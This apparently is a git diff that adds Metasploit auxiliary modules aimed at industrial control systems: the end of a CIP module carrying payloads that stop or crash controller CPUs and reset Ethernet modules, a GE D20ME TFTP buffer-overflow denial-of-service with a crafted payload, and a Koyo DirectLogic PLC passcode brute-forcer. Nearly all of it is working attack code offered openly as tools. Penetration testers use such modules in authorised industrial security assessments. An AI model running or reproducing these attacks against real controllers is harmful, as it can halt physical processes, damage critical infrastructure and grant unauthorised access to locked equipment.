print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."
|
||||
sid = req_session
|
||||
if sid
|
||||
forge_packet(sid, payload(attack))
|
||||
print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."
|
||||
end
|
||||
end
|
||||
|
||||
def forge_packet(sessionid, payload)
|
||||
packet = ""
|
||||
packet += "\x6f\x00" # command: Send request/reply data
|
||||
packet += [payload.size - 0x10].pack("v") # encap length (2 bytes)
|
||||
packet += [sessionid].pack("N") # session identifier (4 bytes)
|
||||
packet += payload #payload part
|
||||
begin
|
||||
sock.put(packet)
|
||||
rescue ::Interrupt
|
||||
print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
||||
print_error("#{rhost}:#{rport} - CIP - Network error during payload")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def req_session
|
||||
begin
|
||||
connect
|
||||
packet = ""
|
||||
packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)
|
||||
packet += "\x04\x00" # encaph_length (2 bytes)
|
||||
packet += "\x00\x00\x00\x00" # session identifier (4 bytes)
|
||||
packet += "\x00\x00\x00\x00" # status code (4 bytes)
|
||||
packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)
|
||||
packet += "\x00\x00\x00\x00" # options flags (4 bytes)
|
||||
packet += "\x01\x00" # proto (2 bytes)
|
||||
packet += "\x00\x00" # flags (2 bytes)
|
||||
sock.put(packet)
|
||||
response = sock.get_once
|
||||
if response
|
||||
session_id = response[4..8].unpack("N")[0] rescue nil# bare minimum of parsing done
|
||||
if session_id
|
||||
print_status("#{rhost}:#{rport} - CIP - Got session id: 0x"+session_id.to_s(16))
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")
|
||||
return nil
|
||||
end
|
||||
else
|
||||
raise ::Rex::ConnectionTimeout
|
||||
end
|
||||
rescue ::Interrupt
|
||||
print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotation")
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
|
||||
print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
|
||||
return nil
|
||||
end
|
||||
return session_id
|
||||
end
|
||||
|
||||
def cleanup
|
||||
disconnect rescue nil
|
||||
end
|
||||
|
||||
def payload(attack)
|
||||
case attack
|
||||
when "STOPCPU"
|
||||
payload = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #encapsulation -[payload.size-0x10]-
|
||||
"\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + #packet1
|
||||
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + #packet2
|
||||
"\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00" #packet3
|
||||
when "CRASHCPU"
|
||||
payload = "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" +
|
||||
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" +
|
||||
"\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"
|
||||
when "CRASHETHER"
|
||||
payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" +
|
||||
"\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"
|
||||
when "RESETETHER"
|
||||
payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" +
|
||||
"\x05\x03\x20\x01\x24\x01\x30\x03"
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,140 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
##
|
||||
# The General Electric D20 (and possibly other devices) have numerous
|
||||
# buffer overruns in their TFTP servers and probably other servers.
|
||||
# There are many buffer overruns like it, but this one is the D20's
|
||||
# TFTP Server transfer-mode overflow.
|
||||
# The filename also suffers from an overrun but seems unlikely to be
|
||||
# exploitable.
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/ui/text/shell'
|
||||
require 'rex/proto/tftp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Rex::Ui::Text
|
||||
include Rex::Proto::TFTP
|
||||
include Msf::Exploit::Remote::Udp
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'General Electric D20ME TFTP Server Buffer Overflow DoS',
|
||||
'Description' => %q{
|
||||
By sending a malformed TFTP request to the GE D20ME, it is possible to crash the
|
||||
device.
|
||||
|
||||
This module is based on the original 'd20ftpbo.rb' Basecamp module from
|
||||
DigitalBond.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||||
'todb' # Metasploit fixups
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'DisclosureDate' => 'Jan 19 2012',
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('LHOST', [false, "The local IP address to bind to"]),
|
||||
OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
|
||||
Opt::RPORT(69)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
udp_sock = Rex::Socket::Udp.create(
|
||||
'LocalHost' => datastore['LHOST'] || nil,
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => rport,
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
) # No need to rescue, it's a UDP faux-socket
|
||||
udp_sock.sendto(payload, rhost, rport)
|
||||
recv = udp_sock.timed_read(65535, recv_timeout)
|
||||
if recv and recv.size > 0
|
||||
udp_sock.sendto(payload, rhost, rport)
|
||||
else
|
||||
print_error "#{rhost}:#{rport} - TFTP - No response from the target, aborting."
|
||||
return
|
||||
end
|
||||
print_good "#{rhost}:#{rport} - TFTP - DoS complete, the D20 should fault after a timeout."
|
||||
end
|
||||
|
||||
def recv_timeout
|
||||
if datastore['RECV_TIMEOUT'].to_i.zero?
|
||||
3
|
||||
else
|
||||
datastore['RECV_TIMEOUT'].to_i.abs
|
||||
end
|
||||
end
|
||||
|
||||
def payload
|
||||
"\x00\x01NVRAM\\D20.zlb\x00netascii" +
|
||||
"\x80\x80\x80\x80\x80\x80\x80\x81\x80\x80\x80\x82\x80\x80\x80\x83" +
|
||||
"\x80\x80\x80\x84\x80\x80\x80\x85\x80\x80\x80\x86\x80\x80\x80\x87\x80\x80\x80\x88" +
|
||||
"\x80\x80\x80\x89\x80\x80\x80\x8A\x80\x80\x80\x8B\x80\x80\x80\x8C\x80\x80\x80\x8D" +
|
||||
"\x80\x80\x80\x8E\x80\x80\x80\x8F\x80\x80\x80\x90\x80\x80\x80\x91\x80\x80\x80\x92" +
|
||||
"\x80\x80\x80\x93\x80\x80\x80\x94\x80\x80\x80\x95\x80\x80\x80\x96\x80\x80\x80\x97" +
|
||||
"\x80\x80\x80\x98\x80\x80\x80\x99\x80\x80\x80\x9A\x80\x80\x80\x9B\x80\x80\x80\x9C" +
|
||||
"\x80\x80\x80\x9D\x80\x80\x80\x9E\x80\x80\x80\x9F\x80\x80\x80\xA0\x80\x80\x80\xA1" +
|
||||
"\x80\x80\x80\xA2\x80\x80\x80\xA3\x80\x80\x80\xA4\x80\x80\x80\xA5\x80\x80\x80\xA6" +
|
||||
"\x80\x80\x80\xA7\x80\x80\x80\xA8\x80\x80\x80\x00\x80\x80\x80\xAA\x80\x80\x80\xAB" +
|
||||
"\x80\x80\x80\xAC\x80\x80\x80\xAD\x80\x80\x80\xAE\x80\x80\x80\xAF\x80\x80\x80\xB0" +
|
||||
"\x80\x80\x80\xB1\x80\x80\x80\xB2\x80\x80\x80\xB3\x80\x80\x80\xB4\x80\x80\x80\xB5" +
|
||||
"\x80\x80\x80\xB6\x80\x80\x80\xB7\x80\x80\x80\xB8\x80\x80\x80\xB9\x80\x80\x80\xBA" +
|
||||
"\x80\x80\x80\xBB\x80\x80\x80\xBC\x80\x80\x80\xBD\x80\x80\x80\xBE\x80\x80\x80\xBF" +
|
||||
"\x80\x80\x80\xC0\x80\x80\x80\xC1\x80\x80\x80\xC2\x80\x80\x80\xC3\x80\x80\x80\xC4" +
|
||||
"\x80\x80\x80\xC5\x80\x80\x80\xC6\x80\x80\x80\xC7\x80\x80\x80\xC8\x80\x80\x80\xC9" +
|
||||
"\x80\x80\x80\xCA\x80\x80\x80\xCB\x80\x80\x80\xCC\x80\x80\x80\xCD\x80\x80\x80\xCE" +
|
||||
"\x80\x80\x80\xCF\x80\x80\x80\xD0\x80\x80\x80\xD1\x80\x80\x80\xD2\x80\x80\x80\xD3" +
|
||||
"\x80\x80\x80\xD4\x80\x80\x80\xD5\x80\x80\x80\xD6\x80\x80\x80\xD7\x80\x80\x80\xD8" +
|
||||
"\x80\x80\x80\xD9\x80\x80\x80\xDA\x80\x80\x80\xDB\x80\x80\x80\xDC\x80\x80\x80\xDD" +
|
||||
"\x80\x80\x80\xDE\x80\x80\x80\x00\x00\x00\x80\x00\x00\x01\x80\xE1\x80\x80\x80\xE2" +
|
||||
"\x80\x80\x80\xE3\x80\x80\x80\xE4\x80\x80\x80\xE5\x80\x80\x80\xE6\x80\x80\x80\xE7" +
|
||||
"\x80\x80\x80\xE8\x80\x80\x80\xE9\x80\x80\x80\xEA\x80\x80\x80\xEB\x80\x80\x80\xEC" +
|
||||
"\x80\x80\x00\x80\x00\x00\x00\x7F\xFF\xBC\x80\xEF\x80\x80\x80\xF0\x80\x80\x80\xF1" +
|
||||
"\x80\x80\x80\xF2\x80\x80\x80\xF3\x80\x80\x80\xF4\x80\x80\x80\xF5\x80\x80\x80\xF6" +
|
||||
"\x80\x80\x80\xF7\x80\x80\x80\xF8\x80\x80\x80\xF9\x80\x80\x80\xFA\x80\x80\x80\xFB" +
|
||||
"\x80\x80\x80\xFC\x80\x80\x80\xFD\x80\x80\x80\xFE\x80\x80\x81\x80\x80\x80\x81\x81" +
|
||||
"\x80\x80\x81\x82\x80\x80\x81\x83\x80\x80\x81\x84\x80\x80\x81\x85\x80\x80\x81\x86" +
|
||||
"\x80\x80\x81\x87\x80\x80\x81\x88\x80\x80\x81\x89\x80\x80\x81\x8A\x80\x80\x81\x8B" +
|
||||
"\x80\x80\x81\x8C\x80\x80\x81\x8D\x80\x80\x81\x8E\x80\x80\x81\x8F\x80\x80\x81\x90" +
|
||||
"\x80\x80\x81\x91\x80\x80\x81\x92\x80\x80\x81\x93\x80\x80\x81\x94\x80\x80\x81\x95" +
|
||||
"\x80\x80\x81\x96\x80\x80\x81\x97\x80\x80\x81\x98\x80\x80\x81\x99\x80\x80\x81\x9A" +
|
||||
"\x80\x80\x81\x9B\x80\x80\x81\x9C\x80\x80\x81\x9D\x80\x80\x81\x9E\x80\x80\x81\x9F" +
|
||||
"\x80\x80\x81\xA0\x80\x80\x81\xA1\x80\x80\x81\xA2\x80\x80\x81\xA3\x80\x80\x81\xA4" +
|
||||
"\x80\x80\x81\xA5\x80\x80\x81\xA6\x80\x80\x81\xA7\x80\x80\x81\xA8\x80\x80\x81\xA9" +
|
||||
"\x80\x80\x81\xAA\x80\x80\x81\xAB\x80\x80\x81\xAC\x80\x80\x81\xAD\x80\x80\x81\xAE" +
|
||||
"\x80\x80\x81\xAF\x80\x80\x81\xB0\x80\x80\x81\xB1\x80\x80\x81\xB2\x80\x80\x81\xB3" +
|
||||
"\x80\x80\x81\xB4\x80\x80\x81\xB5\x80\x80\x81\xB6\x80\x80\x81\xB7\x80\x80\x81\xB8" +
|
||||
"\x80\x80\x81\xB9\x80\x80\x81\xBA\x80\x80\x81\xBB\x80\x80\x81\xBC\x80\x80\x81\xBD" +
|
||||
"\x80\x80\x81\xBE\x80\x80\x81\xBF\x80\x80\x81\xC0\x80\x80\x81\xC1\x80\x80\x81\xC2" +
|
||||
"\x80\x80\x81\xC3\x80\x80\x81\xC4\x80\x80\x81\xC5\x80\x80\x81\xC6\x80\x80\x81\xC7" +
|
||||
"\x80\x80\x81\xC8\x80\x80\x81\xC9\x80\x80\x81\xCA\x80\x80\x81\xCB\x80\x80\x81\xCC" +
|
||||
"\x80\x80\x81\xCD\x80\x80\x81\xCE\x80\x80\x81\xCF\x80\x80\x81\xD0\x80\x80\x81\xD1" +
|
||||
"\x80\x80\x81\xD2\x80\x80\x81\xD3\x80\x80\x81\xD4\x80\x80\x81\xD5\x80\x80\x81\xD6" +
|
||||
"\x80\x80\x81\xD7\x80\x80\x81\xD8\x80\x80\x81\xD9\x80\x80\x81\xDA\x80\x80\x81\xDB" +
|
||||
"\x80\x80\x81\xDC\x80\x80\x81\xDD\x80\x80\x81\xDE\x80\x80\x81\xDF\x80\x80\x81\xE0" +
|
||||
"\x80\x80\x81\xE1\x80\x80\x81\xE2\x80\x80\x81\xE3\x80\x80\x81\xE4\x80\x80\x81\xE5" +
|
||||
"\x80\x80\x81\xE6\x80\x80\x81\xE7\x80\x80\x81\xE8\x80\x80\x81\xE9\x80\x80\x81\xEA" +
|
||||
"\x80\x80\x81\xEB\x80\x80\x81\xEC\x80\x80\x81\xED\x80\x80\x81\xEE\x80\x80\x81\xEF" +
|
||||
"\x80\x80\x81\xF0\x80\x80\x81\xF1\x80\x80\x81\xF2\x80\x80\x81\xF3\x80\x80\x81\xF4" +
|
||||
"\x80\x80\x81\xF5\x80\x80\x81\xF6\x80\x80\x81\xF7\x80\x80\x81\xF8\x80\x80\x81\xF9" +
|
||||
"\x80\x80\x81\xFA\x80\x80\x81\xFB\x80\x80\x81\xFC\x80\x80\x81\xFD\x80\x80\x81\xFE" +
|
||||
"\x80\x80\x82\x80\x80\x80\x82\x81"
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,188 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
# msfdev is going to want a bunch of other stuff for style/compat but this works
|
||||
# TODO: Make into a real AuthBrute module, although the password pattern is fixed
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module attempts to authenticate to
|
||||
a locked Koyo DirectLogic PLC. The PLC uses a restrictive
|
||||
passcode, which can be A0000000 through A9999999.
|
||||
|
||||
This module is based on the original 'koyobrute.rb' Basecamp module from
|
||||
DigitalBond.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||||
'todb' # Metasploit fixups
|
||||
],
|
||||
'DisclosureDate' => 'Jan 19 2012',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||||
],
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('LHOST', [false, "The local IP address to bind to"]),
|
||||
OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
|
||||
Opt::RPORT(28784)
|
||||
], self.class)
|
||||
|
||||
@CCITT_16 = [
|
||||
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
|
||||
0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
|
||||
0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
|
||||
0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
|
||||
0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
|
||||
0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
|
||||
0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
|
||||
0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
|
||||
0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
|
||||
0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
|
||||
0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
|
||||
0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
|
||||
0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
|
||||
0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
|
||||
0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
|
||||
0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
|
||||
0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
|
||||
0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
|
||||
0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
|
||||
0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
|
||||
0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
|
||||
0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
|
||||
0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
|
||||
0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
|
||||
0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
|
||||
0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
|
||||
0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
|
||||
0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
|
||||
0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
|
||||
0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
|
||||
0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
|
||||
0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
|
||||
]
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@udp_sock ||= {}
|
||||
@udp_sock[ip] = Rex::Socket::Udp.create(
|
||||
'LocalHost' => datastore['LHOST'] || nil,
|
||||
'PeerHost' => ip,
|
||||
'PeerPort' => rport,
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
)
|
||||
print_status("#{ip}:#{rport} - KOYO - Checking the controller for locked memory...")
|
||||
if unlock_check(ip)
|
||||
print_good("#{ip}:#{rport} - Unlocked!")
|
||||
return
|
||||
else
|
||||
print_status("#{ip}:#{rport} - KOYO - Controller locked; commencing bruteforce...")
|
||||
end
|
||||
|
||||
# TODO: Consider sort_by {rand} in order to avoid sequential guessing
|
||||
# or something fancier
|
||||
(0..9999999).each do |i|
|
||||
|
||||
passcode = 'A' + i.to_s.rjust(7,'0')
|
||||
vprint_status("#{ip}:#{rport} - KOYO - Trying #{passcode}")
|
||||
|
||||
bytes = passcode.scan(/../).map { |x| x.to_i(16) }
|
||||
passstr = bytes.pack("c*")
|
||||
print_debug passstr.inspect
|
||||
|
||||
res = try_auth(ip, passstr)
|
||||
if res
|
||||
print_good "#{ip}:#{rport} - KOYO - Found passcode: #{passcode}"
|
||||
report_auth_info(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:user => '',
|
||||
:pass => passcode, # NOTE: Human readable
|
||||
:active => true
|
||||
)
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def crc16(buf, crc=0)
|
||||
buf.each_byte{|x| crc = ((crc<<8) ^ @CCITT_16[(crc>>8) ^ x])&0xffff}
|
||||
[crc].pack("S")
|
||||
end
|
||||
|
||||
def unlock_check(ip)
|
||||
checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52"
|
||||
@udp_sock[ip].sendto(checkpacket, ip, datastore['RPORT'].to_i)
|
||||
|
||||
recvpacks = 0
|
||||
# TODO: Since the packet count is critical, consider using Capture instead,
|
||||
# but that requires root which is mildly annoying and not cross-platform.
|
||||
# IOW, not a hugely good way to solve this via packet counting, given the nature
|
||||
# of UDP.
|
||||
#
|
||||
# Another way to speed things up is to use fancy threading, but that's for another
|
||||
# day.
|
||||
while (r = @udp_sock[ip].recvfrom(65535, 0.1) and recvpacks < 2)
|
||||
res = r[0]
|
||||
if res.length == 269 # auth reply packet
|
||||
if res[17] == "\x00" and res[19] == "\xD2" # Magic bytes
|
||||
return true
|
||||
end
|
||||
end
|
||||
recvpacks += 1
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def try_auth(ip, passstr)
|
||||
data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf"
|
||||
header = "HAP"
|
||||
header += "\xe5\x01" # random session ID
|
||||
header += crc16(data)
|
||||
header += [data.length].pack("S")
|
||||
authpacket = header + data
|
||||
|
||||
@udp_sock[ip].sendto(authpacket, ip, datastore['RPORT'].to_i, 0)
|
||||
|
||||
2.times { @udp_sock[ip].get(recv_timeout) } # talk to the hand
|
||||
|
||||
status = unlock_check(ip)
|
||||
|
||||
return status
|
||||
end
|
||||
|
||||
def recv_timeout
|
||||
if datastore['RECV_TIMEOUT'].to_i.zero?
|
||||
3
|
||||
else
|
||||
datastore['RECV_TIMEOUT'].to_i.abs
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
@udp_sock.each_pair { |ip,sock| sock.shutdown rescue nil}
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue